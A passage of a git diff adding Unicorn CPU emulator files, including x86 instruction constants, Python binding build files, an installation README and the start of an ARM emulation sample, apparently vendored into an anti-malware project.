+ UC_X86_INS_VFMSUBADD132PS = 823; + UC_X86_INS_VFMSUBADDPD = 824; + UC_X86_INS_VFMSUBADD213PD = 825; + UC_X86_INS_VFMSUBADD231PD = 826; + UC_X86_INS_VFMSUBADDPS = 827; + UC_X86_INS_VFMSUBADD213PS = 828; + UC_X86_INS_VFMSUBADD231PS = 829; + UC_X86_INS_VFMSUBPD = 830; + UC_X86_INS_VFMSUB213PD = 831; + UC_X86_INS_VFMSUB231PD = 832; + UC_X86_INS_VFMSUBPS = 833; + UC_X86_INS_VFMSUB213PS = 834; + UC_X86_INS_VFMSUB231PS = 835; + UC_X86_INS_VFMSUBSD = 836; + UC_X86_INS_VFMSUB213SD = 837; + UC_X86_INS_VFMSUB132SD = 838; + UC_X86_INS_VFMSUB231SD = 839; + UC_X86_INS_VFMSUBSS = 840; + UC_X86_INS_VFMSUB213SS = 841; + UC_X86_INS_VFMSUB132SS = 842; + UC_X86_INS_VFMSUB231SS = 843; + UC_X86_INS_VFNMADD132PD = 844; + UC_X86_INS_VFNMADD132PS = 845; + UC_X86_INS_VFNMADDPD = 846; + UC_X86_INS_VFNMADD213PD = 847; + UC_X86_INS_VFNMADD231PD = 848; + UC_X86_INS_VFNMADDPS = 849; + UC_X86_INS_VFNMADD213PS = 850; + UC_X86_INS_VFNMADD231PS = 851; + UC_X86_INS_VFNMADDSD = 852; + UC_X86_INS_VFNMADD213SD = 853; + UC_X86_INS_VFNMADD132SD = 854; + UC_X86_INS_VFNMADD231SD = 855; + UC_X86_INS_VFNMADDSS = 856; + UC_X86_INS_VFNMADD213SS = 857; + UC_X86_INS_VFNMADD132SS = 858; + UC_X86_INS_VFNMADD231SS = 859; + UC_X86_INS_VFNMSUB132PD = 860; + UC_X86_INS_VFNMSUB132PS = 861; + UC_X86_INS_VFNMSUBPD = 862; + UC_X86_INS_VFNMSUB213PD = 863; + UC_X86_INS_VFNMSUB231PD = 864; + UC_X86_INS_VFNMSUBPS = 865; + UC_X86_INS_VFNMSUB213PS = 866; + UC_X86_INS_VFNMSUB231PS = 867; + UC_X86_INS_VFNMSUBSD = 868; + UC_X86_INS_VFNMSUB213SD = 869; + UC_X86_INS_VFNMSUB132SD = 870; + UC_X86_INS_VFNMSUB231SD = 871; + UC_X86_INS_VFNMSUBSS = 872; + UC_X86_INS_VFNMSUB213SS = 873; + UC_X86_INS_VFNMSUB132SS = 874; + UC_X86_INS_VFNMSUB231SS = 875; + UC_X86_INS_VFRCZPD = 876; + UC_X86_INS_VFRCZPS = 877; + UC_X86_INS_VFRCZSD = 878; + UC_X86_INS_VFRCZSS = 879; + UC_X86_INS_VORPD = 880; + UC_X86_INS_VORPS = 881; + UC_X86_INS_VXORPD = 882; + UC_X86_INS_VXORPS = 883; + UC_X86_INS_VGATHERDPD = 884; + UC_X86_INS_VGATHERDPS = 885; + UC_X86_INS_VGATHERPF0DPD = 886; + UC_X86_INS_VGATHERPF0DPS = 887; + UC_X86_INS_VGATHERPF0QPD = 888; + UC_X86_INS_VGATHERPF0QPS = 889; + UC_X86_INS_VGATHERPF1DPD = 890; + UC_X86_INS_VGATHERPF1DPS = 891; + UC_X86_INS_VGATHERPF1QPD = 892; + UC_X86_INS_VGATHERPF1QPS = 893; + UC_X86_INS_VGATHERQPD = 894; + UC_X86_INS_VGATHERQPS = 895; + UC_X86_INS_VHADDPD = 896; + UC_X86_INS_VHADDPS = 897; + UC_X86_INS_VHSUBPD = 898; + UC_X86_INS_VHSUBPS = 899; + UC_X86_INS_VINSERTF128 = 900; + UC_X86_INS_VINSERTF32X4 = 901; + UC_X86_INS_VINSERTF32X8 = 902; + UC_X86_INS_VINSERTF64X2 = 903; + UC_X86_INS_VINSERTF64X4 = 904; + UC_X86_INS_VINSERTI128 = 905; + UC_X86_INS_VINSERTI32X4 = 906; + UC_X86_INS_VINSERTI32X8 = 907; + UC_X86_INS_VINSERTI64X2 = 908; + UC_X86_INS_VINSERTI64X4 = 909; + UC_X86_INS_VINSERTPS = 910; + UC_X86_INS_VLDDQU = 911; + UC_X86_INS_VLDMXCSR = 912; + UC_X86_INS_VMASKMOVDQU = 913; + UC_X86_INS_VMASKMOVPD = 914; + UC_X86_INS_VMASKMOVPS = 915; + UC_X86_INS_VMAXPD = 916; + UC_X86_INS_VMAXPS = 917; + UC_X86_INS_VMAXSD = 918; + UC_X86_INS_VMAXSS = 919; + UC_X86_INS_VMCALL = 920; + UC_X86_INS_VMCLEAR = 921; + UC_X86_INS_VMFUNC = 922; + UC_X86_INS_VMINPD = 923; + UC_X86_INS_VMINPS = 924; + UC_X86_INS_VMINSD = 925; + UC_X86_INS_VMINSS = 926; + UC_X86_INS_VMLAUNCH = 927; + UC_X86_INS_VMLOAD = 928; + UC_X86_INS_VMMCALL = 929; + UC_X86_INS_VMOVQ = 930; + UC_X86_INS_VMOVDDUP = 931; + UC_X86_INS_VMOVD = 932; + UC_X86_INS_VMOVDQA32 = 933; + UC_X86_INS_VMOVDQA64 = 934; + UC_X86_INS_VMOVDQA = 935; + UC_X86_INS_VMOVDQU16 = 936; + UC_X86_INS_VMOVDQU32 = 937; + UC_X86_INS_VMOVDQU64 = 938; + UC_X86_INS_VMOVDQU8 = 939; + UC_X86_INS_VMOVDQU = 940; + UC_X86_INS_VMOVHLPS = 941; + UC_X86_INS_VMOVHPD = 942; + UC_X86_INS_VMOVHPS = 943; + UC_X86_INS_VMOVLHPS = 944; + UC_X86_INS_VMOVLPD = 945; + UC_X86_INS_VMOVLPS = 946; + UC_X86_INS_VMOVMSKPD = 947; + UC_X86_INS_VMOVMSKPS = 948; + UC_X86_INS_VMOVNTDQA = 949; + UC_X86_INS_VMOVNTDQ = 950; + UC_X86_INS_VMOVNTPD = 951; + UC_X86_INS_VMOVNTPS = 952; + UC_X86_INS_VMOVSD = 953; + UC_X86_INS_VMOVSHDUP = 954; + UC_X86_INS_VMOVSLDUP = 955; + UC_X86_INS_VMOVSS = 956; + UC_X86_INS_VMOVUPD = 957; + UC_X86_INS_VMOVUPS = 958; + UC_X86_INS_VMPSADBW = 959; + UC_X86_INS_VMPTRLD = 960; + UC_X86_INS_VMPTRST = 961; + UC_X86_INS_VMREAD = 962; + UC_X86_INS_VMRESUME = 963; + UC_X86_INS_VMRUN = 964; + UC_X86_INS_VMSAVE = 965; + UC_X86_INS_VMULPD = 966; + UC_X86_INS_VMULPS = 967; + UC_X86_INS_VMULSD = 968; + UC_X86_INS_VMULSS = 969; + UC_X86_INS_VMWRITE = 970; + UC_X86_INS_VMXOFF = 971; + UC_X86_INS_VMXON = 972; + UC_X86_INS_VPABSB = 973; + UC_X86_INS_VPABSD = 974; + UC_X86_INS_VPABSQ = 975; + UC_X86_INS_VPABSW = 976; + UC_X86_INS_VPACKSSDW = 977; + UC_X86_INS_VPACKSSWB = 978; + UC_X86_INS_VPACKUSDW = 979; + UC_X86_INS_VPACKUSWB = 980; + UC_X86_INS_VPADDB = 981; + UC_X86_INS_VPADDD = 982; + UC_X86_INS_VPADDQ = 983; + UC_X86_INS_VPADDSB = 984; + UC_X86_INS_VPADDSW = 985; + UC_X86_INS_VPADDUSB = 986; + UC_X86_INS_VPADDUSW = 987; + UC_X86_INS_VPADDW = 988; + UC_X86_INS_VPALIGNR = 989; + UC_X86_INS_VPANDD = 990; + UC_X86_INS_VPANDND = 991; + UC_X86_INS_VPANDNQ = 992; + UC_X86_INS_VPANDN = 993; + UC_X86_INS_VPANDQ = 994; + UC_X86_INS_VPAND = 995; + UC_X86_INS_VPAVGB = 996; + UC_X86_INS_VPAVGW = 997; + UC_X86_INS_VPBLENDD = 998; + UC_X86_INS_VPBLENDMB = 999; + UC_X86_INS_VPBLENDMD = 1000; + UC_X86_INS_VPBLENDMQ = 1001; + UC_X86_INS_VPBLENDMW = 1002; + UC_X86_INS_VPBLENDVB = 1003; + UC_X86_INS_VPBLENDW = 1004; + UC_X86_INS_VPBROADCASTB = 1005; + UC_X86_INS_VPBROADCASTD = 1006; + UC_X86_INS_VPBROADCASTMB2Q = 1007; + UC_X86_INS_VPBROADCASTMW2D = 1008; + UC_X86_INS_VPBROADCASTQ = 1009; + UC_X86_INS_VPBROADCASTW = 1010; + UC_X86_INS_VPCLMULQDQ = 1011; + UC_X86_INS_VPCMOV = 1012; + UC_X86_INS_VPCMPB = 1013; + UC_X86_INS_VPCMPD = 1014; + UC_X86_INS_VPCMPEQB = 1015; + UC_X86_INS_VPCMPEQD = 1016; + UC_X86_INS_VPCMPEQQ = 1017; + UC_X86_INS_VPCMPEQW = 1018; + UC_X86_INS_VPCMPESTRI = 1019; + UC_X86_INS_VPCMPESTRM = 1020; + UC_X86_INS_VPCMPGTB = 1021; + UC_X86_INS_VPCMPGTD = 1022; + UC_X86_INS_VPCMPGTQ = 1023; + UC_X86_INS_VPCMPGTW = 1024; + UC_X86_INS_VPCMPISTRI = 1025; + UC_X86_INS_VPCMPISTRM = 1026; + UC_X86_INS_VPCMPQ = 1027; + UC_X86_INS_VPCMPUB = 1028; + UC_X86_INS_VPCMPUD = 1029; + UC_X86_INS_VPCMPUQ = 1030; + UC_X86_INS_VPCMPUW = 1031; + UC_X86_INS_VPCMPW = 1032; + UC_X86_INS_VPCOMB = 1033; + UC_X86_INS_VPCOMD = 1034; + UC_X86_INS_VPCOMPRESSD = 1035; + UC_X86_INS_VPCOMPRESSQ = 1036; + UC_X86_INS_VPCOMQ = 1037; + UC_X86_INS_VPCOMUB = 1038; + UC_X86_INS_VPCOMUD = 1039; + UC_X86_INS_VPCOMUQ = 1040; + UC_X86_INS_VPCOMUW = 1041; + UC_X86_INS_VPCOMW = 1042; + UC_X86_INS_VPCONFLICTD = 1043; + UC_X86_INS_VPCONFLICTQ = 1044; + UC_X86_INS_VPERM2F128 = 1045; + UC_X86_INS_VPERM2I128 = 1046; + UC_X86_INS_VPERMD = 1047; + UC_X86_INS_VPERMI2D = 1048; + UC_X86_INS_VPERMI2PD = 1049; + UC_X86_INS_VPERMI2PS = 1050; + UC_X86_INS_VPERMI2Q = 1051; + UC_X86_INS_VPERMIL2PD = 1052; + UC_X86_INS_VPERMIL2PS = 1053; + UC_X86_INS_VPERMILPD = 1054; + UC_X86_INS_VPERMILPS = 1055; + UC_X86_INS_VPERMPD = 1056; + UC_X86_INS_VPERMPS = 1057; + UC_X86_INS_VPERMQ = 1058; + UC_X86_INS_VPERMT2D = 1059; + UC_X86_INS_VPERMT2PD = 1060; + UC_X86_INS_VPERMT2PS = 1061; + UC_X86_INS_VPERMT2Q = 1062; + UC_X86_INS_VPEXPANDD = 1063; + UC_X86_INS_VPEXPANDQ = 1064; + UC_X86_INS_VPEXTRB = 1065; + UC_X86_INS_VPEXTRD = 1066; + UC_X86_INS_VPEXTRQ = 1067; + UC_X86_INS_VPEXTRW = 1068; + UC_X86_INS_VPGATHERDD = 1069; + UC_X86_INS_VPGATHERDQ = 1070; + UC_X86_INS_VPGATHERQD = 1071; + UC_X86_INS_VPGATHERQQ = 1072; + UC_X86_INS_VPHADDBD = 1073; + UC_X86_INS_VPHADDBQ = 1074; + UC_X86_INS_VPHADDBW = 1075; + UC_X86_INS_VPHADDDQ = 1076; + UC_X86_INS_VPHADDD = 1077; + UC_X86_INS_VPHADDSW = 1078; + UC_X86_INS_VPHADDUBD = 1079; + UC_X86_INS_VPHADDUBQ = 1080; + UC_X86_INS_VPHADDUBW = 1081; + UC_X86_INS_VPHADDUDQ = 1082; + UC_X86_INS_VPHADDUWD = 1083; + UC_X86_INS_VPHADDUWQ = 1084; + UC_X86_INS_VPHADDWD = 1085; + UC_X86_INS_VPHADDWQ = 1086; + UC_X86_INS_VPHADDW = 1087; + UC_X86_INS_VPHMINPOSUW = 1088; + UC_X86_INS_VPHSUBBW = 1089; + UC_X86_INS_VPHSUBDQ = 1090; + UC_X86_INS_VPHSUBD = 1091; + UC_X86_INS_VPHSUBSW = 1092; + UC_X86_INS_VPHSUBWD = 1093; + UC_X86_INS_VPHSUBW = 1094; + UC_X86_INS_VPINSRB = 1095; + UC_X86_INS_VPINSRD = 1096; + UC_X86_INS_VPINSRQ = 1097; + UC_X86_INS_VPINSRW = 1098; + UC_X86_INS_VPLZCNTD = 1099; + UC_X86_INS_VPLZCNTQ = 1100; + UC_X86_INS_VPMACSDD = 1101; + UC_X86_INS_VPMACSDQH = 1102; + UC_X86_INS_VPMACSDQL = 1103; + UC_X86_INS_VPMACSSDD = 1104; + UC_X86_INS_VPMACSSDQH = 1105; + UC_X86_INS_VPMACSSDQL = 1106; + UC_X86_INS_VPMACSSWD = 1107; + UC_X86_INS_VPMACSSWW = 1108; + UC_X86_INS_VPMACSWD = 1109; + UC_X86_INS_VPMACSWW = 1110; + UC_X86_INS_VPMADCSSWD = 1111; + UC_X86_INS_VPMADCSWD = 1112; + UC_X86_INS_VPMADDUBSW = 1113; + UC_X86_INS_VPMADDWD = 1114; + UC_X86_INS_VPMASKMOVD = 1115; + UC_X86_INS_VPMASKMOVQ = 1116; + UC_X86_INS_VPMAXSB = 1117; + UC_X86_INS_VPMAXSD = 1118; + UC_X86_INS_VPMAXSQ = 1119; + UC_X86_INS_VPMAXSW = 1120; + UC_X86_INS_VPMAXUB = 1121; + UC_X86_INS_VPMAXUD = 1122; + UC_X86_INS_VPMAXUQ = 1123; + UC_X86_INS_VPMAXUW = 1124; + UC_X86_INS_VPMINSB = 1125; + UC_X86_INS_VPMINSD = 1126; + UC_X86_INS_VPMINSQ = 1127; + UC_X86_INS_VPMINSW = 1128; + UC_X86_INS_VPMINUB = 1129; + UC_X86_INS_VPMINUD = 1130; + UC_X86_INS_VPMINUQ = 1131; + UC_X86_INS_VPMINUW = 1132; + UC_X86_INS_VPMOVDB = 1133; + UC_X86_INS_VPMOVDW = 1134; + UC_X86_INS_VPMOVM2B = 1135; + UC_X86_INS_VPMOVM2D = 1136; + UC_X86_INS_VPMOVM2Q = 1137; + UC_X86_INS_VPMOVM2W = 1138; + UC_X86_INS_VPMOVMSKB = 1139; + UC_X86_INS_VPMOVQB = 1140; + UC_X86_INS_VPMOVQD = 1141; + UC_X86_INS_VPMOVQW = 1142; + UC_X86_INS_VPMOVSDB = 1143; + UC_X86_INS_VPMOVSDW = 1144; + UC_X86_INS_VPMOVSQB = 1145; + UC_X86_INS_VPMOVSQD = 1146; + UC_X86_INS_VPMOVSQW = 1147; + UC_X86_INS_VPMOVSXBD = 1148; + UC_X86_INS_VPMOVSXBQ = 1149; + UC_X86_INS_VPMOVSXBW = 1150; + UC_X86_INS_VPMOVSXDQ = 1151; + UC_X86_INS_VPMOVSXWD = 1152; + UC_X86_INS_VPMOVSXWQ = 1153; + UC_X86_INS_VPMOVUSDB = 1154; + UC_X86_INS_VPMOVUSDW = 1155; + UC_X86_INS_VPMOVUSQB = 1156; + UC_X86_INS_VPMOVUSQD = 1157; + UC_X86_INS_VPMOVUSQW = 1158; + UC_X86_INS_VPMOVZXBD = 1159; + UC_X86_INS_VPMOVZXBQ = 1160; + UC_X86_INS_VPMOVZXBW = 1161; + UC_X86_INS_VPMOVZXDQ = 1162; + UC_X86_INS_VPMOVZXWD = 1163; + UC_X86_INS_VPMOVZXWQ = 1164; + UC_X86_INS_VPMULDQ = 1165; + UC_X86_INS_VPMULHRSW = 1166; + UC_X86_INS_VPMULHUW = 1167; + UC_X86_INS_VPMULHW = 1168; + UC_X86_INS_VPMULLD = 1169; + UC_X86_INS_VPMULLQ = 1170; + UC_X86_INS_VPMULLW = 1171; + UC_X86_INS_VPMULUDQ = 1172; + UC_X86_INS_VPORD = 1173; + UC_X86_INS_VPORQ = 1174; + UC_X86_INS_VPOR = 1175; + UC_X86_INS_VPPERM = 1176; + UC_X86_INS_VPROTB = 1177; + UC_X86_INS_VPROTD = 1178; + UC_X86_INS_VPROTQ = 1179; + UC_X86_INS_VPROTW = 1180; + UC_X86_INS_VPSADBW = 1181; + UC_X86_INS_VPSCATTERDD = 1182; + UC_X86_INS_VPSCATTERDQ = 1183; + UC_X86_INS_VPSCATTERQD = 1184; + UC_X86_INS_VPSCATTERQQ = 1185; + UC_X86_INS_VPSHAB = 1186; + UC_X86_INS_VPSHAD = 1187; + UC_X86_INS_VPSHAQ = 1188; + UC_X86_INS_VPSHAW = 1189; + UC_X86_INS_VPSHLB = 1190; + UC_X86_INS_VPSHLD = 1191; + UC_X86_INS_VPSHLQ = 1192; + UC_X86_INS_VPSHLW = 1193; + UC_X86_INS_VPSHUFB = 1194; + UC_X86_INS_VPSHUFD = 1195; + UC_X86_INS_VPSHUFHW = 1196; + UC_X86_INS_VPSHUFLW = 1197; + UC_X86_INS_VPSIGNB = 1198; + UC_X86_INS_VPSIGND = 1199; + UC_X86_INS_VPSIGNW = 1200; + UC_X86_INS_VPSLLDQ = 1201; + UC_X86_INS_VPSLLD = 1202; + UC_X86_INS_VPSLLQ = 1203; + UC_X86_INS_VPSLLVD = 1204; + UC_X86_INS_VPSLLVQ = 1205; + UC_X86_INS_VPSLLW = 1206; + UC_X86_INS_VPSRAD = 1207; + UC_X86_INS_VPSRAQ = 1208; + UC_X86_INS_VPSRAVD = 1209; + UC_X86_INS_VPSRAVQ = 1210; + UC_X86_INS_VPSRAW = 1211; + UC_X86_INS_VPSRLDQ = 1212; + UC_X86_INS_VPSRLD = 1213; + UC_X86_INS_VPSRLQ = 1214; + UC_X86_INS_VPSRLVD = 1215; + UC_X86_INS_VPSRLVQ = 1216; + UC_X86_INS_VPSRLW = 1217; + UC_X86_INS_VPSUBB = 1218; + UC_X86_INS_VPSUBD = 1219; + UC_X86_INS_VPSUBQ = 1220; + UC_X86_INS_VPSUBSB = 1221; + UC_X86_INS_VPSUBSW = 1222; + UC_X86_INS_VPSUBUSB = 1223; + UC_X86_INS_VPSUBUSW = 1224; + UC_X86_INS_VPSUBW = 1225; + UC_X86_INS_VPTESTMD = 1226; + UC_X86_INS_VPTESTMQ = 1227; + UC_X86_INS_VPTESTNMD = 1228; + UC_X86_INS_VPTESTNMQ = 1229; + UC_X86_INS_VPTEST = 1230; + UC_X86_INS_VPUNPCKHBW = 1231; + UC_X86_INS_VPUNPCKHDQ = 1232; + UC_X86_INS_VPUNPCKHQDQ = 1233; + UC_X86_INS_VPUNPCKHWD = 1234; + UC_X86_INS_VPUNPCKLBW = 1235; + UC_X86_INS_VPUNPCKLDQ = 1236; + UC_X86_INS_VPUNPCKLQDQ = 1237; + UC_X86_INS_VPUNPCKLWD = 1238; + UC_X86_INS_VPXORD = 1239; + UC_X86_INS_VPXORQ = 1240; + UC_X86_INS_VPXOR = 1241; + UC_X86_INS_VRCP14PD = 1242; + UC_X86_INS_VRCP14PS = 1243; + UC_X86_INS_VRCP14SD = 1244; + UC_X86_INS_VRCP14SS = 1245; + UC_X86_INS_VRCP28PD = 1246; + UC_X86_INS_VRCP28PS = 1247; + UC_X86_INS_VRCP28SD = 1248; + UC_X86_INS_VRCP28SS = 1249; + UC_X86_INS_VRCPPS = 1250; + UC_X86_INS_VRCPSS = 1251; + UC_X86_INS_VRNDSCALEPD = 1252; + UC_X86_INS_VRNDSCALEPS = 1253; + UC_X86_INS_VRNDSCALESD = 1254; + UC_X86_INS_VRNDSCALESS = 1255; + UC_X86_INS_VROUNDPD = 1256; + UC_X86_INS_VROUNDPS = 1257; + UC_X86_INS_VROUNDSD = 1258; + UC_X86_INS_VROUNDSS = 1259; + UC_X86_INS_VRSQRT14PD = 1260; + UC_X86_INS_VRSQRT14PS = 1261; + UC_X86_INS_VRSQRT14SD = 1262; + UC_X86_INS_VRSQRT14SS = 1263; + UC_X86_INS_VRSQRT28PD = 1264; + UC_X86_INS_VRSQRT28PS = 1265; + UC_X86_INS_VRSQRT28SD = 1266; + UC_X86_INS_VRSQRT28SS = 1267; + UC_X86_INS_VRSQRTPS = 1268; + UC_X86_INS_VRSQRTSS = 1269; + UC_X86_INS_VSCATTERDPD = 1270; + UC_X86_INS_VSCATTERDPS = 1271; + UC_X86_INS_VSCATTERPF0DPD = 1272; + UC_X86_INS_VSCATTERPF0DPS = 1273; + UC_X86_INS_VSCATTERPF0QPD = 1274; + UC_X86_INS_VSCATTERPF0QPS = 1275; + UC_X86_INS_VSCATTERPF1DPD = 1276; + UC_X86_INS_VSCATTERPF1DPS = 1277; + UC_X86_INS_VSCATTERPF1QPD = 1278; + UC_X86_INS_VSCATTERPF1QPS = 1279; + UC_X86_INS_VSCATTERQPD = 1280; + UC_X86_INS_VSCATTERQPS = 1281; + UC_X86_INS_VSHUFPD = 1282; + UC_X86_INS_VSHUFPS = 1283; + UC_X86_INS_VSQRTPD = 1284; + UC_X86_INS_VSQRTPS = 1285; + UC_X86_INS_VSQRTSD = 1286; + UC_X86_INS_VSQRTSS = 1287; + UC_X86_INS_VSTMXCSR = 1288; + UC_X86_INS_VSUBPD = 1289; + UC_X86_INS_VSUBPS = 1290; + UC_X86_INS_VSUBSD = 1291; + UC_X86_INS_VSUBSS = 1292; + UC_X86_INS_VTESTPD = 1293; + UC_X86_INS_VTESTPS = 1294; + UC_X86_INS_VUNPCKHPD = 1295; + UC_X86_INS_VUNPCKHPS = 1296; + UC_X86_INS_VUNPCKLPD = 1297; + UC_X86_INS_VUNPCKLPS = 1298; + UC_X86_INS_VZEROALL = 1299; + UC_X86_INS_VZEROUPPER = 1300; + UC_X86_INS_WAIT = 1301; + UC_X86_INS_WBINVD = 1302; + UC_X86_INS_WRFSBASE = 1303; + UC_X86_INS_WRGSBASE = 1304; + UC_X86_INS_WRMSR = 1305; + UC_X86_INS_XABORT = 1306; + UC_X86_INS_XACQUIRE = 1307; + UC_X86_INS_XBEGIN = 1308; + UC_X86_INS_XCHG = 1309; + UC_X86_INS_XCRYPTCBC = 1310; + UC_X86_INS_XCRYPTCFB = 1311; + UC_X86_INS_XCRYPTCTR = 1312; + UC_X86_INS_XCRYPTECB = 1313; + UC_X86_INS_XCRYPTOFB = 1314; + UC_X86_INS_XEND = 1315; + UC_X86_INS_XGETBV = 1316; + UC_X86_INS_XLATB = 1317; + UC_X86_INS_XRELEASE = 1318; + UC_X86_INS_XRSTOR = 1319; + UC_X86_INS_XRSTOR64 = 1320; + UC_X86_INS_XRSTORS = 1321; + UC_X86_INS_XRSTORS64 = 1322; + UC_X86_INS_XSAVE = 1323; + UC_X86_INS_XSAVE64 = 1324; + UC_X86_INS_XSAVEC = 1325; + UC_X86_INS_XSAVEC64 = 1326; + UC_X86_INS_XSAVEOPT = 1327; + UC_X86_INS_XSAVEOPT64 = 1328; + UC_X86_INS_XSAVES = 1329; + UC_X86_INS_XSAVES64 = 1330; + UC_X86_INS_XSETBV = 1331; + UC_X86_INS_XSHA1 = 1332; + UC_X86_INS_XSHA256 = 1333; + UC_X86_INS_XSTORE = 1334; + UC_X86_INS_XTEST = 1335; + UC_X86_INS_FDISI8087_NOP = 1336; + UC_X86_INS_FENI8087_NOP = 1337; + UC_X86_INS_ENDING = 1338; + +implementation +end. \ No newline at end of file diff --git a/ai_anti_malware/unicorn/unicorn-master/bindings/python/MANIFEST.in b/ai_anti_malware/unicorn/unicorn-master/bindings/python/MANIFEST.in new file mode 100644 index 0000000..a98ea52 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/bindings/python/MANIFEST.in @@ -0,0 +1,4 @@ +recursive-include src * +recursive-include prebuilt * +include LICENSE.TXT +include README.TXT diff --git a/ai_anti_malware/unicorn/unicorn-master/bindings/python/Makefile b/ai_anti_malware/unicorn/unicorn-master/bindings/python/Makefile new file mode 100644 index 0000000..ea831fd --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/bindings/python/Makefile @@ -0,0 +1,84 @@ +# Python binding for Unicorn engine. Nguyen Anh Quynh <aquynh@gmail.com> + +.PHONY: gen_const install install3 clean sdist sdist3 bdist bdist3 sdist_win bdist_win + +gen_const: + cd .. && python const_generator.py python + +install: + rm -rf src/ dist/ + rm -rf prebuilt/win64/unicorn.dll + rm -rf prebuilt/win32/unicorn.dll + if test -n "${DESTDIR}"; then \ + python setup.py install --root="${DESTDIR}"; \ + else \ + python setup.py install; \ + fi + +install3: + rm -rf src/ dist/ + rm -rf prebuilt/win64/unicorn.dll + rm -rf prebuilt/win32/unicorn.dll + if test -n "${DESTDIR}"; then \ + python3 setup.py install --root="${DESTDIR}"; \ + else \ + python3 setup.py install; \ + fi + +# build & upload PyPi package with source code of the core +sdist: + rm -rf src/ dist/ + rm -rf prebuilt/win64/unicorn.dll + rm -rf prebuilt/win32/unicorn.dll + python setup.py sdist register upload + +# build & upload PyPi package with source code of the core +sdist3: + rm -rf src/ dist/ + rm -rf prebuilt/win64/unicorn.dll + rm -rf prebuilt/win32/unicorn.dll + python3 setup.py sdist register upload + +# build & upload PyPi package with precompiled core +bdist: + rm -rf src/ dist/ + rm -rf prebuilt/win64/unicorn.dll + rm -rf prebuilt/win32/unicorn.dll + python setup.py bdist_wheel register upload + +# build & upload PyPi package with precompiled core +bdist3: + rm -rf src/ dist/ + rm -rf prebuilt/win64/unicorn.dll + rm -rf prebuilt/win32/unicorn.dll + python3 setup.py bdist_wheel register upload + +# build & upload PyPi package with prebuilt core +# NOTE: be sure to have precompiled core under prebuilt/win*/ beforehand +sdist_win: + rm -rf src/ dist/ + python setup.py sdist register upload + +# build & upload PyPi package with prebuilt core +# NOTE: be sure to have precompiled core under prebuilt/win*/ beforehand +sdist3_win: + rm -rf src/ dist/ + python3 setup.py sdist register upload + +clean: + rm -rf src/ dist/ build/ MANIFEST + rm -rf prebuilt/win64/unicorn.dll + rm -rf prebuilt/win32/unicorn.dll + rm -rf unicorn/lib unicorn/include + rm -rf unicorn/*.pyc + rm -rf unicorn.egg-info + + +SAMPLES = sample_arm.py sample_arm64.py sample_mips.py +SAMPLES += sample_sparc.py sample_m68k.py sample_x86.py +check: + @for t in $(SAMPLES); do \ + echo Check $$t ... ; \ + ./$$t > /dev/null && echo OK || echo FAILED; \ + done + diff --git a/ai_anti_malware/unicorn/unicorn-master/bindings/python/README.TXT b/ai_anti_malware/unicorn/unicorn-master/bindings/python/README.TXT new file mode 100644 index 0000000..ab5747a --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/bindings/python/README.TXT @@ -0,0 +1,41 @@ +This documentation explains how to install the python binding for Unicorn +from source. + +1. Installing on Linux: + + $ sudo python setup.py install + + This will build the core C library, package it with the python bindings, + and install it to your system. + + If you want to prevent the build of the native library during the python installation, + set the environment variable LIBUNICORN_PATH. You may also set this to a directory + containing libunicorn.so if you wish to use a verison of the native library other than + the globally installed one. + + +2. Installing on Windows: + + Run the following command in command prompt: + + C:\> C:\location_to_python\python.exe setup.py install + + Next, copy all the DLL files from the 'Core engine for Windows' package available + on the Unicorn download page and paste it in the path: + + C:\location_to_python\Lib\site-packages\unicorn\ + + +3. Sample code + + This directory contains some sample code to show how to use Unicorn API. + + - sample_<arch>.py + These code show how to access architecture-specific information for each + architecture. + + - shellcode.py + This shows how to analyze a Linux shellcode. + + - sample_network_auditing.py + This shows how to analyze & interpret Linux shellcode. diff --git a/ai_anti_malware/unicorn/unicorn-master/bindings/python/build_wheel.sh b/ai_anti_malware/unicorn/unicorn-master/bindings/python/build_wheel.sh new file mode 100644 index 0000000..e3c9d44 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/bindings/python/build_wheel.sh @@ -0,0 +1,14 @@ +#!/bin/bash +set -e -x + +cd bindings/python + +# Compile wheels +if [ -f /opt/python/cp36-cp36m/bin/python ];then + /opt/python/cp36-cp36m/bin/python setup.py bdist_wheel +else + python3 setup.py bdist_wheel +fi +cd dist +auditwheel repair *.whl +mv -f wheelhouse/*.whl . diff --git a/ai_anti_malware/unicorn/unicorn-master/bindings/python/prebuilt/.gitkeep b/ai_anti_malware/unicorn/unicorn-master/bindings/python/prebuilt/.gitkeep new file mode 100644 index 0000000..e69de29 diff --git a/ai_anti_malware/unicorn/unicorn-master/bindings/python/sample_all.sh b/ai_anti_malware/unicorn/unicorn-master/bindings/python/sample_all.sh new file mode 100644 index 0000000..f4e7a55 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/bindings/python/sample_all.sh @@ -0,0 +1,15 @@ +#!/bin/sh + +./sample_x86.py +echo "==========================" +./shellcode.py +echo "==========================" +./sample_arm.py +echo "==========================" +./sample_arm64.py +echo "==========================" +./sample_mips.py +echo "==========================" +./sample_sparc.py +echo "==========================" +./sample_m68k.py diff --git a/ai_anti_malware/unicorn/unicorn-master/bindings/python/sample_arm.py b/ai_anti_malware/unicorn/unicorn-master/bindings/python/sample_arm.py new file mode 100644 index 0000000..5fae6b6 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/bindings/python/sample_arm.py @@ -0,0 +1,105 @@ +#!/usr/bin/env python +# Sample code for ARM of Unicorn. Nguyen Anh Quynh <aquynh@gmail.com> +# Python sample ported by Loi Anh Tuan <loianhtuan@gmail.com> + +from __future__ import print_function +from unicorn import * +from unicorn.arm_const import * + + +# code to be emulated +ARM_CODE = b"\x37\x00\xa0\xe3\x03\x10\x42\xe0" # mov r0, #0x37; sub r1, r2, r3 +THUMB_CODE = b"\x83\xb0" # sub sp, #0xc +# memory address where emulation starts +ADDRESS = 0x10000 + + +# callback for tracing basic blocks +def hook_block(uc, address, size, user_data): + print(">>> Tracing basic block at 0x%x, block size = 0x%x" %(address, size)) + + +# callback for tracing instructions +def hook_code(uc, address, size, user_data): + print(">>> Tracing instruction at 0x%x, instruction size = 0x%x" %(address, size)) + + +# Test ARM +def test_arm(): + print("Emulate ARM code") + try: + # Initialize emulator in ARM mode + mu = Uc(UC_ARCH_ARM, UC_MODE_ARM) + + # map 2MB memory for this emulation + mu.mem_map(ADDRESS, 2 * 1024 * 1024) + + # write machine code to be emulated to memory + mu.mem_write(ADDRESS, 